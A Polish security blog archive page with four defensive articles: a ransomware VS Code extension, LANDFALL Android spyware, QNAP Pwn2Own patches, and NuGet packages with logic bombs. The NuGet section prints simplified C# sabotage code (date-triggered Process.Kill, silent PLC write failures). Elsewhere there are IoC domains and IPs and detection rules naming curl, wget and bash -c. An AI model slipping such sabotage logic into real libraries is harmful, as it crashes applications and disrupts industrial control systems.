Archiwa: Malware - Strona 102 z 114 - Security Bez Tabu

„Ransomvibing” w Marketplace VS Code: złośliwe rozszerzenie pokazuje, jak łatwo wpuścić ransomware do IDE

Wprowadzenie do problemu / definicja luki

Na Visual Studio Marketplace opublikowano rozszerzenie do VS Code, które wprost reklamowało funkcje „zipping, upload & encrypt”, po zainstalowaniu uruchamiało się automatycznie, a następnie pakowało, eksfiltrowało i szyfrowało pliki. Zjawisko ochrzczono „ransomvibing” – ransomware „vibe-coded”, czyli w dużej mierze sklejone promptami do LLM. Wpis badacza, który pierwszy opisał sprawę (Secure Annex), oraz relacje prasowe potwierdzają, że Microsoft usunął rozszerzenie z Marketplace po zgłoszeniu.


W skrócie

  • Złośliwy plugin VS Code został opublikowany pod nazwą wydawcy sugerującą „sus…” i opisem jednoznacznie wskazującym na eksfiltrację i szyfrowanie. Po zgłoszeniu zniknął z Marketplace, a Microsoft informuje, że takie pakiety po weryfikacji trafiają na blocklistę i są autoodinstalowane.
  • Implementacja zdradza ślady generowania kodu przez AI (obszerne komentarze, nielogiczne decyzje projektowe), łącznie z kuriozalnym wbudowaniem klucza deszyfrującego.
  • Kanał C2 oparto o prywatne repozytorium GitHub; rozszerzenie nasłuchiwało zmian i wykonywało polecenia. W opisie widniały także docelowe ścieżki do pakowania danych.
  • Incydent wpisuje się w szerszy trend AI-asystowanego malware (np. akademicki PoC „PromptLock/PromptLocker”).

Kontekst / historia / powiązania

Marketplace’y na narzędzia developerskie stają się łakomym kąskiem: poza fałszywymi wtyczkami do przeglądarek i IDE, branża obserwuje też złośliwe rozszerzenia VS Code i nieszczelne wydania z wyciekami sekretów. Dostawcy (w tym Microsoft) deklarują procesy moderacyjne, automatyczną dezinstalację zidentyfikowanych zagrożeń i link „Report abuse” na stronach rozszerzeń. Jednak incydenty – od kradzieży kodu źródłowego po cryptomining – pokazują, że sama kuratela nie wystarcza i wymaga defensywy po stronie organizacji.


Analiza techniczna / szczegóły luki

Składniki łańcucha ataku:

  1. Publikacja pluginu w Marketplace jako zwykłego rozszerzenia VS Code; opis nie krył funkcji „zip-upload-encrypt”.
  2. Automatyczna aktywacja (activation events „onStartupFinished”/„*”) – uruchomienie funkcji zipUploadAndEncrypt już przy instalacji/otwarciu edytora.
  3. Zbieranie danych – tworzenie archiwum ZIP wskazanego katalogu (np. C:\Users\Public\testing lub /tmp/testing w PoC).
  4. Eksfiltracja – wysyłka na zdalny serwer/C2; w tym przypadku GitHub (repo prywatne) jako boczny kanał poleceń (polling commitów).
  5. Szyfrowanie – zastąpienie plików wersjami zaszyfrowanymi; w kodzie widniał twardo zaszyty klucz deszyfrujący oraz dwa „decryptory” (Python/Node), co zdradza pośpieszne, AI-asystowane klejenie.

Artefakty i wskaźniki (IoC) do huntowania w orgu:

  • Nazwy: podejrzany wydawca o wzorcu „sus…”, funkcja zipUploadAndEncrypt, odwołania do index.html jako pseudo-kanału sterowania.
  • Aktywność sieciowa VS Code do domen GitHub/serwera C2 bez interakcji użytkownika (po starcie IDE).

Praktyczne konsekwencje / ryzyko

  • Obniżenie poprzeczki dla przestępców: LLM-y pozwalają szybko „wibrować” (vibe-code) działający, choć toporny kod ransomware. Amator może wrzucić POC do ekosystemu, w którym użytkownicy ufają dystrybucji rozszerzeń.
  • Ryzyko supply-chain: Auto-update rozszerzeń = ryzyko „one-click impact” lub nawet silent impact przy aktualizacji.
  • Trudność w detekcji: Aktywacja na eventach VS Code i C2 w GitHubie „zlewają się” z normalnym ruchem dev-toolingu.

Rekomendacje operacyjne / co zrobić teraz

1) Governance i polityki VS Code/Marketplace (Enterprise)

  • Wyłącz auto-aktualizacje rozszerzeń na poziomie orgu:
    settings.json (User/Workspace/Policy): { "extensions.autoUpdate": false, "extensions.autoCheckUpdates": false }
  • Wymuś allow-listę wydawców (rozszerzenia tylko ze sprawdzonej listy; w praktyce – własny mirror lub repo wewnętrzne).
  • Zablokuj dostęp do Marketplace na brzegu (proxy/NGFW/DNS): domeny marketplace.visualstudio.com, *.gallery.vsassets.io (tylko dla stacji dev bez zgody). Microsoft sam zaleca możliwość całkowitego blokowania Marketplace w środowiskach podwyższonego ryzyka.
  • W politykach MDM/Intune lub konfiguracji złotych obrazów wymuś zewnętrzne źródła rozszerzeń = off, instalacja tylko z pakietów zatwierdzonych.

2) Kontrola instalacji i inwentaryzacja

  • Zrzut listy rozszerzeń (CI lub skrypty pre-commit): # macOS/Linux code --list-extensions > extensions.txt # Windows (PowerShell) code --list-extensions | Out-File extensions.txt
  • Wymuś uninstall niezatwierdzonych: # przykład: masowa dezinstalacja wszystkiego spoza allow-listy allowed=$(cat allowlist.txt) for ext in $(code --list-extensions); do echo "$allowed" | grep -qx "$ext" || code --uninstall-extension "$ext" done
  • Ścieżki przeglądu kodu rozszerzeń:
    • Windows: %USERPROFILE%\.vscode\extensions\
    • Linux/macOS: ~/.vscode/extensions/

3) Detekcje / hunting (EDR/SIEM/Defender for Endpoint)

  • Reguła YARA (przykład PoC) na artefakty wspomniane publicznie: rule VSCode_Ransomvibe_PoC { meta: description = "Heurystyka: vibe-coded VSCode ransomware PoC" strings: $s1 = "zipUploadAndEncrypt" nocase $s2 = "index.html" ascii $s3 = "C:\\Users\\Public\\testing" ascii $s4 = "/tmp/testing" ascii condition: 2 of ($s*) } (dobierz do własnych TTP, nie traktuj jako sygnatury ostatecznej). Źródła publiczne wspominają zarówno nazwę funkcji, jak i ścieżki docelowe.
  • Reguła EDR (pseudo-KQL) – VS Code inicjuje ZIP + outbound do GitHub po starcie: DeviceProcessEvents | where InitiatingProcessFileName =~ "Code.exe" and (FileName in~ ("powershell.exe","zip.exe","node.exe","python.exe")) | where Timestamp between (SigninTime .. SigninTime + 5m) | join kind=leftouter DeviceNetworkEvents on DeviceId, InitiatingProcessId | where RemoteUrl endswith "github.com" or RemoteUrl endswith "githubusercontent.com" | summarize count() by DeviceName, InitiatingProcessCommandLine
  • Alerty na nietypowe „activation events” w package.json rozszerzeń (szczególnie „onStartupFinished”, „*”).

4) Hardening stacji developerskich

  • Least privilege (dev nie jest lokalnym adminem).
  • AppLocker/WDAC – lista dozwolonych interpreterów (Node/Python) uruchamianych z katalogów profilowych.
  • Segregacja danych – wartościowe repozytoria poza katalogami, do których VS Code ma pełny zapis bez kontroli.
  • Skanowanie tajemnic (pre-commit hooks, np. gitleaks) i DLP – ogranicza exfil wartościowych artefaktów, nawet jeśli dojdzie do ZIP/POST.

5) Reagowanie i odtwarzanie

  • W przypadku detekcji: izolacja hosta, inwentaryzacja zaszyfrowanych/wyeksfiltrowanych ścieżek, wymuszenie rotacji sekretów (tokeny w repo), zgłoszenie do zespołu PSIRT.
  • Backup i testy odtwarzania – szczególnie dla katalogów roboczych developerów.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • PromptLock / PromptLocker (NYU, PoC): akademicki projekt pokazał, że LLM może orkiestrwać pełny cykl ataku ransomware (od rekonesansu po szyfrowanie) – to dowód możliwości, nie kampania przestępcza. Incydent z rozszerzeniem VS Code jest praktycznym przykładem, że „AI-asystowana” implementacja potrafi trafić do zaufanego kanału dystrybucji.
  • Inne przypadki z VS Code: raporty branżowe z ostatnich tygodni wskazują na szkodliwe rozszerzenia kradnące kod i użycie Marketplace do dystrybucji – „ransomvibing” wpisuje się w ten trend, ale rzadko widziano tak jawnie opisane funkcje „encrypt/exfil”.

Podsumowanie / kluczowe wnioski

  1. Zaufanie do Marketplace ≠ bezpieczeństwo. Moderacja nie zastąpi kontroli organizacyjnej (allow-lista, mirror, polityki).
  2. AI obniża barierę wejścia – nawet amatorzy są w stanie złożyć „działający” ransomware i opublikować go w kanale enterprise-grade.
  3. Operationalize security w DevEx: inwentaryzacja rozszerzeń, EDR-hunting wokół VS Code i blokady sieciowe to dziś „must-have”.
  4. Przygotuj IR pod developerów: procedury odtwarzania stanowisk i rotacji sekretów po incydencie z IDE.

Źródła / bibliografia

  1. Dark Reading – opis incydentu, cytat Microsoftu, szczegóły publikacji i usunięcia rozszerzenia. (Dark Reading)
  2. Secure Annex (John Tuckner) – wpis badawczy opisujący „ransomvibe” i technikalia. (secureannex.com)
  3. The Hacker News – dodatkowe szczegóły dot. aktywacji, funkcji zipUploadAndEncrypt, ścieżek i usunięcia z Marketplace. (The Hacker News)
  4. Microsoft – dokumentacja/FAQ bezpieczeństwa rozszerzeń (blocklista, auto-uninstall). (Visual Studio Code)
  5. NYU Tandon / SecurityWeek – kontekst badań „PromptLock/PromptLocker” (LLM-orchestrated ransomware). (NYU Tandon School of Engineering)

LANDFALL: komercyjny spyware na Androida uderza w telefony Samsung przez zero-day w bibliotece obrazów

Wprowadzenie do problemu / definicja luki

Zespół Palo Alto Networks Unit 42 opisał nową rodzinę komercyjnego spyware’u dla Androida o nazwie LANDFALL, którą atakujący dostarczali na wybrane smartfony Samsung Galaxy przez zero-day w bibliotece przetwarzania obrazów (libimagecodec.quram.so). Luka otrzymała identyfikator CVE-2025-21042 i umożliwia zdalne wykonanie kodu po przetworzeniu celowo złośliwego pliku DNG (Digital Negative). Samsung załatał błąd w SMR-APR-2025 (Security Maintenance Release), ale ataki trwały przed wydaniem poprawek.


W skrócie

  • Co: spyware LANDFALL na Androida, ukierunkowany na urządzenia Samsung Galaxy.
  • Jak: złośliwy plik DNG dostarczany m.in. przez komunikatory (analiza wskazuje na WhatsApp); exploit CVE-2025-21042 prowadzący do RCE, najpewniej w trybie zero-click/low-click.
  • Kiedy: próbki widoczne co najmniej od lipca 2024 r., aktywność w 2024/2025; poprawka Samsunga — kwiecień 2025.
  • Kogo: cele w MENA (m.in. Iran, Irak, Turcja, Maroko); wybrane modele Galaxy S22/S23/S24, Z Fold4, Z Flip4.
  • Pokrewne: drugi błąd w tej samej bibliotece (CVE-2025-21043, zgłoszony przez Meta/WhatsApp) załatany we wrześniu 2025, potwierdzono exploitation in the wild.

Kontekst / historia / powiązania

  • LANDFALL wpisuje się w szerszy trend nadużywania parserów obrazów RAW (DNG/TIFF) na urządzeniach mobilnych — podobne łańcuchy obserwowano na iOS (CVE-2025-43300) w połączeniu z błędem WhatsApp (CVE-2025-55177), co pozwalało na zdalne, zero-clickowe RCE po dostarczeniu obrazu przez komunikator.
  • Unit 42 widzi stylistyczne zbieżności z ekosystemem komercyjnych dostawców spyware (PSOA) i infrastrukturą powiązaną z Stealth Falcon (UAE), ale bez rozstrzygającej atrybucji.
  • Samsung załatał CVE-2025-21042 w SMR-APR-2025 i opisał go jako krytyczny błąd typu Out-of-Bounds Write w libimagecodec.quram.so, umożliwiający zdalne wykonanie kodu; NVD klasyfikuje wektor jako AV:N/AC:L/PR:N/UI:N (CRITICAL).

Analiza techniczna / szczegóły luki

Wektor: złośliwy plik DNG

  • Atakujący wysyłali ofierze celowo sfałszowane pliki DNG, czasem jako „zdjęcia WhatsApp”. Wewnątrz pliku DNG znajdowało się doklejone archiwum ZIP z komponentami malware. Samo parsowanie DNG w podatnej bibliotece wyzwalało RCE.

Łańcuch infekcji (wysoki poziom)

  1. Dostarczenie obrazu DNG (WhatsApp/komunikator).
  2. Eksploatacja CVE-2025-21042 w libimagecodec.quram.soRCE w kontekście procesu parsera.
  3. Rozpakowanie dołączonego ZIP-a i uruchomienie komponentu b.so (loader, „Bridge Head”).
  4. Rozszerzenie uprawnień i trwałości poprzez moduł l.somanipulacja polityką SELinux in-memory.
  5. Pobranie dalszych modułów, fingerprinting urządzenia i beaconing do C2.

Kluczowe pliki/ścieżki i artefakty

  • Katalog roboczy: /data/data/com.samsung.ipservice/files/
  • Komponenty: b.so (loader) i l.so (manipulator polityk SELinux; XZ-kompresja)
  • Konfiguracja wbudowana w b.so (JSON + klucz X.509), stałe „Bridge Head v2.1”, parametry czasu pracy (suicide_time), tryb I/P runner.
  • Przykładowe IoC: domeny brightvideodesigns[.]com, healthyeatingontherun[.]com, IP m.in. 45.155.250[.]158, 91.132.92[.]35. (pełna lista w raporcie Unit 42).

Zdolności spyware (wybór)

  • Inwigilacja: nagrywanie mikrofonu/rozmów, pozyskiwanie lokalizacji, kontaktów, logów połączeń, plików/zdjęć.
  • Fingerprinting sieci i urządzenia: IMEI/IMSI/SIM, stan VPN/USB debug, lista aplikacji.
  • Łączność z C2: HTTPS, telemetry, dynamiczne dociąganie modułów.

Praktyczne konsekwencje / ryzyko

  • Ataki ukierunkowane: telemetry i artefakty wskazują na cele w regionie MENA, wysoką wartość celów i niską skłonność do masowej dystrybucji.
  • Trudne do zauważenia: zero-/low-click, brak nowej podatności w WhatsApp, więc standardowe „zachowania użytkownika” nie są wystarczającą barierą.
  • Ryzyko dla prywatności i bezpieczeństwa operacyjnego (OPSEC): stały dostęp audio/GPS, exfil danych z komunikatorów i pamięci.
  • Ryzyko wtórne: manipulacja polityką SELinux osłabia kontrolę dostępu na urządzeniu i wspiera trwałość.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania IT/MDM

  • Wymuś aktualizacje do SMR-APR-2025 lub nowszych (łata CVE-2025-21042) oraz SMR-SEP-2025 (łata pokrewny CVE-2025-21043, exploatowany w środowisku) na wszystkich obsługiwanych Galaxy.
  • Zablokuj i monitoruj automatyczne pobieranie DNG/RAW w firmowych komunikatorach (polityki MDM/UEBA; jeżeli niemożliwe — CDR/sandboxing obrazów).
  • Listy blokujące (egress/DNS): dodaj domeny i adresy IP z raportu Unit 42 do blokad (patrz IoC wyżej). Wymuś TLS SNI/JA3 monitoring dla anomalii.

2) Detekcja i hunting (przykłady)

ADB: przegląd artefaktów w podejrzanym urządzeniu testowym

# Połącz urządzenie (tryb debugowania w kontrolowanym labie)
adb shell 'ls -l /data/data/com.samsung.ipservice/files/'
adb shell 'sha256sum /data/data/com.samsung.ipservice/files/* 2>/dev/null'
adb shell 'logcat -d | grep -iE "Bridge Head|b\.so|l\.so"'

(szukamy obecności b.so, l.so, plików XZ/ZIP i wzmianki „Bridge Head”).

Suricata (SNI/domains) – minimalny szkic reguł IOC

# Uwaga: dopasowania oparte o SNI/DNS tylko pomocniczo; użyj listy pełnych IoC Unit 42
- action: alert
  signature: 'LANDFALL C2 SNI brightvideodesigns'
  tls.sni:
    - 'brightvideodesigns.com'
- action: alert
  signature: 'LANDFALL C2 SNI healthyeatingontherun'
  tls.sni:
    - 'healthyeatingontherun.com'

Sigma (Windows proxy/syslog z MDM) – detekcja nietypowych transferów z urządzeń mobilnych

title: Suspicious Mobile Egress to LANDFALL IoC
status: experimental
logsource:
  product: proxy
detection:
  sel1:
    cs-host|contains:
      - brightvideodesigns.com
      - healthyeatingontherun.com
      - hotelsitereview.com
      - projectmanagerskills.com
condition: sel1
level: high

3) Hardening i polityki

  • Wyłącz automatyczne zapisywanie multimediów w komunikatorach w profilach roboczych (Work Profile).
  • Wymuś Always-On-VPN i DNS ochronny na profilach korporacyjnych; loguj SNI/DoH.
  • Blokuj instalację aplikacji spoza sklepu i USB debugging w produkcji (dozwolony tylko w labie forensycznym).
  • EDR/MTD na Androida z analizą treści obrazów (MIME sniffing) i emulacją parserów.

4) Reagowanie incydentowe (skrót)

  1. Izoluj urządzenie od sieci komórkowej/Wi-Fi, zachowując stan (tryb samolotowy bez wyłączenia).
  2. Zrób kopia-obraz użytkownika (jeśli MDM/MTD wspiera) oraz eksport logcat.
  3. Wdróż update SMR i sprawdź IoC (ścieżki, domeny/IP, artefakty SELinux).
  4. Rotacja tokenów i haseł powiązanych z kontami użytkownika.
  5. Raport do CERT/CSIRT i aktualizacja polityk MDM.

Różnice / porównania z innymi przypadkami

  • CVE-2025-21042 vs CVE-2025-21043 (Samsung/Android): obie luki dotyczą tej samej biblioteki (libimagecodec.quram.so), obie umożliwiają RCE przez malformowane DNG; 21042 wykorzystywana w kampanii LANDFALL (załatana kwiecień 2025), 21043 – zgłoszona przez Meta/WhatsApp, potwierdzona eksploatacja w środowisku (wrzesień 2025).
  • iOS łańcuch 2025: CVE-2025-43300 (DNG parser) + CVE-2025-55177 (WhatsApp) pozwalały osiągnąć zbliżony efekt zero-click przez obraz przesłany w komunikatorze, ale to osobny łańcuch — Unit 42 nie potwierdził, że iOS-owy łańcuch dostarczał LANDFALL.

Podsumowanie / kluczowe wnioski

  • Parsery obrazów to dziś realny wektor RCE na urządzeniach mobilnych — plik graficzny może być nośnikiem exploita.
  • LANDFALL pokazuje, jak komercyjne toolkity spyware łączą zero-day + manipulację SELinux dla trwałości i pełnego nadzoru nad urządzeniem.
  • Organizacje powinny traktować SMR/ASB jak krytyczne patche serwerowe: wymuszać aktualizacje, izolować profile robocze, wdrażać MTD/EDR z telemetrią sieciową oraz polityki ograniczające RAW/DNG w kanałach komunikacyjnych.

Źródła / bibliografia

  • Palo Alto Networks Unit 42 — pełna analiza LANDFALL (IoC, szczegóły techniczne, SELinux, ścieżki, pliki). (Unit 42)
  • SecurityWeek — przegląd i kluczowe fakty (modele Galaxy, timeline, MENA). (SecurityWeek)
  • Samsung Mobile Security — SMR-APR-2025 (CVE-2025-21042, krytyczne RCE), SMR-SEP-2025 (CVE-2025-21043, exploitation in the wild). (Samsung Mobile Security)
  • NVD — karta CVE-2025-21042 (opis i metryki CVSS). (NVD)
  • WhatsApp Security Advisories 2025 — opis CVE-2025-55177 (łańcuch iOS + WhatsApp). (WhatsApp.com)

QNAP łata siedem zerodejowych luk w NAS-ach ujawnionych na Pwn2Own 2025

Wprowadzenie do problemu / definicja luki

QNAP opublikował aktualizacje usuwające 7 podatności typu zero-day wykorzystanych na żywo podczas konkursu Pwn2Own Ireland 2025. Błędy dotyczyły zarówno systemów operacyjnych QTS/QuTS hero, jak i aplikacji: HBS 3 (Hybrid Backup Sync), Malware Remover, Hyper Data Protector oraz – dodatkowo tego samego dnia – QuMagie (krytyczny SQLi). Producent potwierdził dostępność poprawek i podał minimalne wersje, do których należy zaktualizować systemy i aplikacje.


W skrócie

  • Zakres: QTS/QuTS hero (CVE-2025-62847/-62848/-62849), HBS 3 (CVE-2025-62840, CVE-2025-62842), Malware Remover (CVE-2025-11837), Hyper Data Protector (CVE-2025-59389).
  • Wektory: od zdalnego wykonania kodu i modyfikacji danych po DoS – zależnie od komponentu. Luki potrafią ominąć zabezpieczenia warstwy aplikacyjnej backupu.
  • Łatki minimalne:
    • QTS 5.2.7.3297 build 20251024+, QuTS hero h5.2.7.3297+ oraz h5.3.1.3292+ (OS).
    • HBS 3 26.2.0.938+, Malware Remover 6.6.8.20251023+, Hyper Data Protector 2.2.4.1+.
    • QuMagie 2.7.0+ (CVE-2025-52425, SQLi).
  • Geneza: exploity zaprezentowane przez Summoning Team, DEVCORE, Team DDOS i stażystę CyCraft na Pwn2Own Ireland 2025.

Kontekst / historia / powiązania

Pwn2Own to konkurs ZDI (Trend Micro), w którym badacze demonstrują exploity 0-day na realnym sprzęcie. Tegoroczna edycja w Cork (21–23 października 2025) zaowocowała dziesiątkami nowych błędów w NAS-ach, urządzeniach IoT i oprogramowaniu. QNAP po wydarzeniu podkreślił „przyspieszoną obronę” – szybkie publikacje łatek i dystrybucję przez App Center (m.in. poprzez Malware Remover).


Analiza techniczna / szczegóły luki

Zakres i komponenty

  1. QTS / QuTS hero – trzy luki (CVE-2025-62847/-62848/-62849) sklasyfikowane przez QNAP jako Critical. Załatane w QTS 5.2.7.3297 i QuTS hero h5.2.7.3297 / h5.3.1.3292. QNAP przypisuje te zgłoszenia do Pwn2Own 2025 (ack: DEVCORE).
  2. HBS 3 (Hybrid Backup Sync) – dwie luki (CVE-2025-62840, CVE-2025-62842) usunięte w 26.2.0.938. HBS 3 to centralna usługa backupu/sync (RTRR, rsync, FTP, WebDAV, SMB) – kompromitacja ma wpływ także na repozytoria zdalne/chmurowe.
  3. Malware RemoverCVE-2025-11837, łatka w 6.6.8.20251023. Paradoksalnie dotyczy modułu bezpieczeństwa, co podnosi ryzyko eskalacji w środowiskach ufających temu komponentowi.
  4. Hyper Data ProtectorCVE-2025-59389, poprawione w 2.2.4.1. Narzędzie realizuje backup maszyn wirtualnych/VMware/Hyper-V, a więc ma szerokie uprawnienia do repozytoriów.
  5. QuMagie (dodatkowo w tym samym pakiecie biuletynów) – CVE-2025-52425 (SQLi)2.7.0. QNAP określa możliwość „wykonania nieautoryzowanego kodu lub komend”.

Uwaga: w momencie publikacji części CVE dotyczących QTS/QuTS/HBS 3 pozostają w stanie RESERVED w publicznych bazach (brak pełnych opisów), jednak QNAP i biuletyny prasowe podają konkretne wersje naprawcze – to one są obecnie jedynym wiarygodnym punktem odniesienia dla zarządzania ryzykiem.


Praktyczne konsekwencje / ryzyko

  • Łańcuchy ataku z backupem w roli „przepustki”: kompromitacja HBS 3 może otworzyć drogę do modyfikowania lub podmieniania danych na repozytoriach off-site (rsync/S3/SMB), w tym do „zatruwania” kopii zapasowych i utraty możliwości odtworzenia.
  • Uprzywilejowana powierzchnia: Malware Remover i Hyper Data Protector działają z wysokimi uprawnieniami, więc ich podatności mogą skutkować RCE z uprawnieniami systemowymi, a także ruchem bocznym do hipernadzorców/serwerów wirtualizacji.
  • OS-level: luki w QTS/QuTS hero mogą zostać połączone z błędami aplikacyjnymi dla eskalacji do root i trwałej persystencji (np. ingerencja w mechanizmy aktualizacji, demonów usługowych).

Rekomendacje operacyjne / co zrobić teraz

1) Aktualizacje – minimalne wersje docelowe

  • QTS:5.2.7.3297 build 20251024
  • QuTS hero:h5.2.7.3297 lub h5.3.1.3292
  • HBS 3:26.2.0.938
  • Malware Remover:6.6.8.20251023
  • Hyper Data Protector:2.2.4.1
  • QuMagie:2.7.0
    Instrukcje QNAP: Panel sterowania → System → Aktualizacja firmware (Live Update) oraz App Center → [nazwa aplikacji] → Update.

2) Szybkie kroki higieniczne (post-patch)

  • Wymuś rotację haseł wszystkich kont (min. adminów) i wygeneruj nowe API tokens dla aplikacji integrujących się z NAS.
  • Wyłącz UPnP, myQNAPcloud i przekierowania portów, jeśli nie są niezbędne; wystawiaj dostęp przez VPN/Zero Trust zamiast przez Internet.
  • QuFirewall: reguły „deny by default”, listy dozwolonych adresów, geoblokady.
  • Wyłącz loginy admin/admin oraz włącz 2FA dla kont uprzywilejowanych.

3) Walidacja wersji – przykładowe komendy (SSH)

# Sprawdź wersję systemu (QTS/QuTS hero)
getcfg system version -f /etc/config/uLinux.conf
getcfg system "Build Number" -f /etc/config/uLinux.conf

# Sprawdź wersje zainstalowanych aplikacji (App Center)
getcfg "HBS 3 Hybrid Backup Sync" QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Malware Remover"            QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Hyper Data Protector"       QPKG_Ver -f /etc/config/qpkg.conf
getcfg "QuMagie"                    QPKG_Ver -f /etc/config/qpkg.conf

4) Hardening usług backupu (HBS 3)

  • Używaj oddzielnych kont/kluczy dla każdego celu backupu (S3/rsync/SMB); minimalne uprawnienia (RBAC, bucket-policy).
  • Włącz weryfikację integralności backupów (checksumy, immutable buckets, Object Lock) i testowe odtworzenia (table-top every 30 dni).
  • Segmentuj ruch HBS 3 w VLAN/VRF; zdalne endpointy dostępne wyłącznie z interfejsu backupowego.

5) Detekcja i triage incydentu (SOC/blue team)

Logi systemowe i aplikacyjne kieruj do SIEM (syslog/TLS).
Ścieżki istotne w triage:

  • /var/log/auth.log, /var/log/kern.log, /var/log/apache/ (jeśli aktywne)
  • Q’center/Qlog Center – zdarzenia Malware Remover i HBS 3
    Przykładowe wskaźniki:
  • Nietypowe wywołania HBS 3 do nowych hostów, nagłe skoki transferu/zmiany harmonogramów.
  • Restart usług systemowych bez planowanej zmiany; nowe zadania crontab w /etc/config/crontab.

Sigma (przykład – zdalne uruchomienie nieznanego binarium przez www):

title: QNAP Suspicious Web Exec
logsource:
  product: linux
  service: apache
detection:
  sel:
    cs-method: POST
    cs-uri-stem|contains:
      - /cgi-bin/
      - /phpMyAdmin/
  keywords:
    - "wget http"
    - "curl http"
    - "bash -c"
condition: sel and keywords
level: high

Różnice / porównania z innymi przypadkami

Rok wcześniej QNAP łatał 0-daye z Pwn2Own 2024 (m.in. OS command injection w HBS 3 i SQLi w usłudze SMB). W 2025 r. ponownie trzonem problemu są moduły backupowe i systemy bazowe, ale zakres jest szerszy (7 zero-dayów) i obejmuje nawet Malware Remover. Z punktu widzenia zarządzania ryzykiem to potwierdza, że backup i narzędzia bezpieczeństwa na NAS-ach wymagają takiego samego rygoru testów i segmentacji jak serwery aplikacyjne.


Podsumowanie / kluczowe wnioski

  • Traktuj NAS jak pełnoprawny serwer – z micro-segmentacją, kontrolą dostępu i monitoringiem.
  • Aktualizacje do wersji minimalnych (podanych wyżej) to obowiązek – zrób to dla OS i każdej aplikacji.
  • Backup nie chroni, jeśli jest kompromitowany: izoluj HBS 3, stosuj immutable storage i regularne testy odtworzeniowe.
  • Ogranicz ekspozycję: brak UPnP, brak publicznych portów; dostęp tylko przez VPN/Zero Trust.
  • Włącz 2FA, rotuj hasła i klucze, przeglądnij zadania crona oraz logi po aktualizacji.

Źródła / bibliografia

  1. BleepingComputer – „QNAP fixes seven NAS zero-day flaws exploited at Pwn2Own”, 7 listopada 2025 (lista CVE, minimalne wersje aplikacji i OS). (BleepingComputer)
  2. QNAP Security Advisory QSA-25-45 – „Multiple Vulnerabilities in QTS and QuTS hero (PWN2OWN 2025)” (wersje naprawcze OS, status Critical). (QNAP NAS)
  3. QNAP Security Advisory QSA-25-33 – „Vulnerability in QuMagie (CVE-2025-52425)” (SQLi, QuMagie ≥2.7.0). (QNAP NAS)
  4. ZDI – blog z wynikami Pwn2Own Ireland 2025 (kontekst i harmonogram konkursu). (zerodayinitiative.com)
  5. QNAP – komunikat prasowy: „Demonstrates cybersecurity commitment at Pwn2Own 2025 with rapid defense updates” (polityka szybkich poprawek). (QNAP NAS)

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
